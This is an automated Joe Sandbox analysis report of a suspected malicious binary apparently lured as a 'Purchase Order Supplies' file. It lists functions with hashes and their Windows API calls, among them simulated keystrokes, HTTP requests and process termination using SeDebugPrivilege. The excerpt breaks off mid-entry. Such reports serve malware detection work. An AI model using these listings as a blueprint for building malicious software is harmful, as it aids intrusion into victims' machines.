Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 6a5ca23b72676b135e5facdbd4eb702a09ebf2608bca63a8fbbcd12158261324
Instruction ID: 283a1685ea52f69b32eb09a24fccb0ac1286953d434005d2a119c90fe941c24b
Opcode Fuzzy Hash: 6a5ca23b72676b135e5facdbd4eb702a09ebf2608bca63a8fbbcd12158261324
Instruction Fuzzy Hash: E781AF719047458FDB24CF68C8806E9BBB0AF49324F24425DD8A6EB3D1CBB49D03DB64

Function 00CD7212 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00CD7226
__swprintf.LIBCMT ref: 00CD7233

Part of subcall function 00CB234B: __woutput_l.LIBCMT ref: 00CB23A4

FindResourceW.KERNEL32(?,?,0000000E), ref: 00CD725D
LoadResource.KERNEL32(?,00000000), ref: 00CD7269
LockResource.KERNEL32(00000000), ref: 00CD7276
FindResourceW.KERNEL32(?,?,00000003), ref: 00CD7296
LoadResource.KERNEL32(?,00000000), ref: 00CD72A8
SizeofResource.KERNEL32(?,00000000), ref: 00CD72B7
LockResource.KERNEL32(?), ref: 00CD72C3
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00CD7322

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 4b418d8363f07779efe0032eba4fcebb8a87fc01d5c85b5b836f19f73fd80dc5
Instruction ID: f627a9c44ecc5154a7de677fd65f345bb7dfb2f677a42aff47b0a12a6b52e527
Opcode Fuzzy Hash: 4b418d8363f07779efe0032eba4fcebb8a87fc01d5c85b5b836f19f73fd80dc5
Instruction Fuzzy Hash: EB318EB190435ABBDB019F61DC49AEB7BA9FF04341F008516FE21D2360E734DA51DAB4

Function 00CD4A5B Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CD4A7D
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4A91
GetWindowThreadProcessId.USER32(00000000), ref: 00CD4A98
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4AA7
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CD4AB9
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4AD2
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4AE4
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4B29
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4B3E
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00CD3AD7,?,00000001), ref: 00CD4B49

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 735e1aad46a7668289c1e93fbeedab49799ebd4e9f4bae59742f5f604a9fec38
Instruction ID: c9df6d273622c882493cc8a61f7ac5c354adb17803da3dd6892ad5c61f6abc2c
Opcode Fuzzy Hash: 735e1aad46a7668289c1e93fbeedab49799ebd4e9f4bae59742f5f604a9fec38
Instruction Fuzzy Hash: FB31AC71600708BBDB159B14DC89BAAB7AAAB60356F14811BFB18D7390D7B4DE418F70

Function 00D0EC19 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00D0EC32
SendMessageW.USER32(?,00001328,00000000,?), ref: 00D0EC49
GetWindowDC.USER32(?), ref: 00D0EC55
GetPixel.GDI32(00000000,?,?), ref: 00D0EC64
ReleaseDC.USER32(?,00000000), ref: 00D0EC76
GetSysColor.USER32(00000005), ref: 00D0EC94

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 3e17e93691272db30b28dab72f6839eedea63056f1505fbedad06e45615b0e41
Instruction ID: f765497cd2c1161fb2440840da69fb26f5cca5d7b182cc9b5793843ec60e68a8
Opcode Fuzzy Hash: 3e17e93691272db30b28dab72f6839eedea63056f1505fbedad06e45615b0e41
Instruction Fuzzy Hash: CC215E71500305BFEB215BB4EC48BE97B76EB05325F148624FA2AD51E2DB310A42DF31

Function 00CCD978 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00CCDD46), ref: 00CCDC86

Strings

CLASS, xrefs: 00CCDA06
INSTANCE, xrefs: 00CCDB94
TEXT, xrefs: 00CCDBBD
NAME, xrefs: 00CCDAB8
REGEXPCLASS, xrefs: 00CCDA4C
CLASSNN, xrefs: 00CCDA29

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: d947ab6b6e047c67c67fbbe63a8608b78b3b2eb64f8d8efabba99de120db0f41
Instruction ID: ca8a1d80302e8678b3b42579b45af794f5ec366ac11ac0047d07c6c9de64a5cf
Opcode Fuzzy Hash: d947ab6b6e047c67c67fbbe63a8608b78b3b2eb64f8d8efabba99de120db0f41
Instruction Fuzzy Hash: 1E919430900506ABCB08DF64C4D1FE9FB75BF05354F54816DE86BA7291DF306A5AEBA0

Function 00C945A7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00C945F0
CoUninitialize.COMBASE ref: 00C94695
UnregisterHotKey.USER32(?), ref: 00C947BD
DestroyWindow.USER32(?), ref: 00D05936
FreeLibrary.KERNEL32(?), ref: 00D0599D
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00D059CA

Strings

close all, xrefs: 00C945EB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 70adc14475aebc7084d40830ca0aaf6f9d8f2fc2ee4a1e977862602df8f35bf8
Instruction ID: 03848c4b2bedfb88dbc13279c5d273f4bf21da641e77a29ee6126ddddec6e3bc
Opcode Fuzzy Hash: 70adc14475aebc7084d40830ca0aaf6f9d8f2fc2ee4a1e977862602df8f35bf8
Instruction Fuzzy Hash: 7D914B34600602DFCB19EF24D899F69F3A4FF15705F5442A9E44AA72A2DB30AE5BDF10

Function 00CAC24A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00CAC2D2

Part of subcall function 00CAC697: GetClientRect.USER32(?,?), ref: 00CAC6C0
Part of subcall function 00CAC697: GetWindowRect.USER32(?,?), ref: 00CAC701
Part of subcall function 00CAC697: ScreenToClient.USER32(?,?), ref: 00CAC729

GetDC.USER32 ref: 00D0E006
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00D0E019
SelectObject.GDI32(00000000,00000000), ref: 00D0E027
SelectObject.GDI32(00000000,00000000), ref: 00D0E03C
ReleaseDC.USER32(?,00000000), ref: 00D0E044
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00D0E0CF

Strings

U, xrefs: 00D0DFA4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: e2f136b28c1dca7a3c74131f3efdfc2ab10b793338e020bc2e98cea3909f26b2
Instruction ID: 3ce08be333a2c185af1e19c9775f07c04dcccc211a8a5555707af6af1e3e4418
Opcode Fuzzy Hash: e2f136b28c1dca7a3c74131f3efdfc2ab10b793338e020bc2e98cea3909f26b2
Instruction Fuzzy Hash: 0971A23150020AEFCF218FA4C884BEA7BB5FF49354F188669ED999A2E5C7318C41DB71

Function 00CE4C23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00CE4C5E
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00CE4C8A
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00CE4CCC
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00CE4CE1
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CE4CEE
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00CE4D1E
InternetCloseHandle.WININET(00000000), ref: 00CE4D65

Part of subcall function 00CE56A9: GetLastError.KERNEL32(?,?,00CE4A2B,00000000,00000000,00000001), ref: 00CE56BE

Strings

, xrefs: 00CE4D17

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 972d1b85502c13fc8973963ebbbb7e1a97611c47d4d199d21a18801e5c046908
Instruction ID: 7ba305c368a824b623078f8b7ad109a50a20e4687e5de32b894477d43909a3b8
Opcode Fuzzy Hash: 972d1b85502c13fc8973963ebbbb7e1a97611c47d4d199d21a18801e5c046908
Instruction Fuzzy Hash: C841AFB1501258BFEB168F62CC89FFA77ACEF08314F108116FA119A191DB749A419BA0

Function 00CEBAE6 Relevance: 13.9, APIs: 9, Instructions: 419COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00D2DBF0), ref: 00CEBBA1
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00D2DBF0), ref: 00CEBBD5
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00CEBD33
SysFreeString.OLEAUT32(?), ref: 00CEBD5D
StringFromGUID2.COMBASE(?,?,00000028), ref: 00CEBEAD
ProgIDFromCLSID.COMBASE(?,?), ref: 00CEBEF7
CoTaskMemFree.COMBASE(?), ref: 00CEBF14

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Free$FromString$FileLibraryModuleNamePathProgQueryTaskType
String ID:
API String ID: 793797124-0
Opcode ID: 8873afc37b445275551390dae6db522afa8de580283bf046716514093be69572
Instruction ID: 795a6aa4d6ed44c5459fe11fc18af9449d7a4ad42584d29eb122b810d851a52b
Opcode Fuzzy Hash: 8873afc37b445275551390dae6db522afa8de580283bf046716514093be69572
Instruction Fuzzy Hash: 0DF10A75A00209EFCB04DFA5C884EBEB7B9FF89314F108499F915AB250DB31AE42DB50

Function 00CAB86E Relevance: 13.7, APIs: 9, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00C949CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C94954,00000000), ref: 00C94A23

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00CAB85B), ref: 00CAB926
KillTimer.USER32(00000000,?,00000000,?,?,?,?,00CAB85B,00000000,?,?,00CAAF1E,?,?), ref: 00CAB9BD
DestroyAcceleratorTable.USER32(00000000), ref: 00D0E775
DeleteObject.GDI32(00000000), ref: 00D0E7EB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 2402799130-0
Opcode ID: db30ccf56cffee236ec4db84bbe2791f97ca795c745b3c3cd234084cc6236a8d
Instruction ID: 6d44327af4aa2374b30664d08081105345aaa2d9252bfdda9aba76f080f3b829
Opcode Fuzzy Hash: db30ccf56cffee236ec4db84bbe2791f97ca795c745b3c3cd234084cc6236a8d
Instruction Fuzzy Hash: 3661CF34100702EFDB359F25D888B26BBF5FF86316F144A19E59A867B1CB71AC81DB60

Function 00CFB14A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00CFB204

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 8c4253d6d83a068bddb90f6eeb42de844f338316501d4e59233cddbc81aef87e
Instruction ID: b3c5fbebfe132562c328c4f022c7d478196ec928b61fe9c9aba98f6feef8d8ee
Opcode Fuzzy Hash: 8c4253d6d83a068bddb90f6eeb42de844f338316501d4e59233cddbc81aef87e
Instruction Fuzzy Hash: A651D33064020DBFEF609F29CC89BBE7B65AB06314F208111FB25D62B1CB71EE449B52

Function 00CAA599 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00D0E9EA
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D0EA0B
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00D0EA20
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00D0EA3D
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00D0EA64
DestroyCursor.USER32(00000000), ref: 00D0EA6F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00D0EA8C
DestroyCursor.USER32(00000000), ref: 00D0EA97

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CursorDestroyExtractIconImageLoadMessageSend
String ID:
API String ID: 3992029641-0
Opcode ID: 8f9e391bfbbe7d3761836341f9ad2c8c6c9e9eb0f8824529f5303a05f62c9cd0
Instruction ID: 7234b6e070518d50e781a84681ae58efc8e92e9e9650be9f79f782b210201f36
Opcode Fuzzy Hash: 8f9e391bfbbe7d3761836341f9ad2c8c6c9e9eb0f8824529f5303a05f62c9cd0
Instruction Fuzzy Hash: F5515974A0030AAFDB20CF65CC81BAA7BB5AB49754F144619F956D72D0DB70ED80DF60

Function 00CAF6B5 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00D0E9A0,00000004,00000000,00000000), ref: 00CAF737
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00D0E9A0,00000004,00000000,00000000), ref: 00CAF77E
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00D0E9A0,00000004,00000000,00000000), ref: 00D0EB55
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00D0E9A0,00000004,00000000,00000000), ref: 00D0EBC1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: b6deaba3515353f78c41da735d23358ab8f843901fed75ce5c9fb7c8492ab519
Instruction ID: 93da5794be4a28b28dfc8fe58611efeaa1388a5e9c10f995446b77a9a6d21258
Opcode Fuzzy Hash: b6deaba3515353f78c41da735d23358ab8f843901fed75ce5c9fb7c8492ab519
Instruction Fuzzy Hash: 29411F30204786AADB3557798CC8B7A7B966B47309F684C2DF09BC25A1CB70E843D731

Function 00CCCDE6 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCE138: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CCE158
Part of subcall function 00CCE138: GetCurrentThreadId.KERNEL32 ref: 00CCE15F
Part of subcall function 00CCE138: AttachThreadInput.USER32(00000000,?,00CCCDFB,?,00000001), ref: 00CCE166

MapVirtualKeyW.USER32(00000025,00000000), ref: 00CCCE06
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00CCCE23
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00CCCE26
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CCCE2F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00CCCE4D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CCCE50
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CCCE59
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00CCCE70
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CCCE73

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 66936b3e0f98473ddf6d5d7288da5945b16d0e6142b8602339d8fd62b2d7e600
Instruction ID: 27aee81e824ebf3a61c997215f2c3ba7a7be8c5cde631b364c27adf15771e10e
Opcode Fuzzy Hash: 66936b3e0f98473ddf6d5d7288da5945b16d0e6142b8602339d8fd62b2d7e600
Instruction Fuzzy Hash: 7911A5B1550718BEF7106B64CC8EF9A7B2EDB58754F500419F344AB1E0CEF29C519AB4

Function 00CF1620 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00CD6F5B: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00CD6F7D
Part of subcall function 00CD6F5B: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00CD6F8D
Part of subcall function 00CD6F5B: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00CD7022

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CF168B
GetLastError.KERNEL32 ref: 00CF169E
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CF16CA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00CF1746
GetLastError.KERNEL32(00000000), ref: 00CF1751
CloseHandle.KERNEL32(00000000), ref: 00CF1786

Strings

SeDebugPrivilege, xrefs: 00CF16A9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
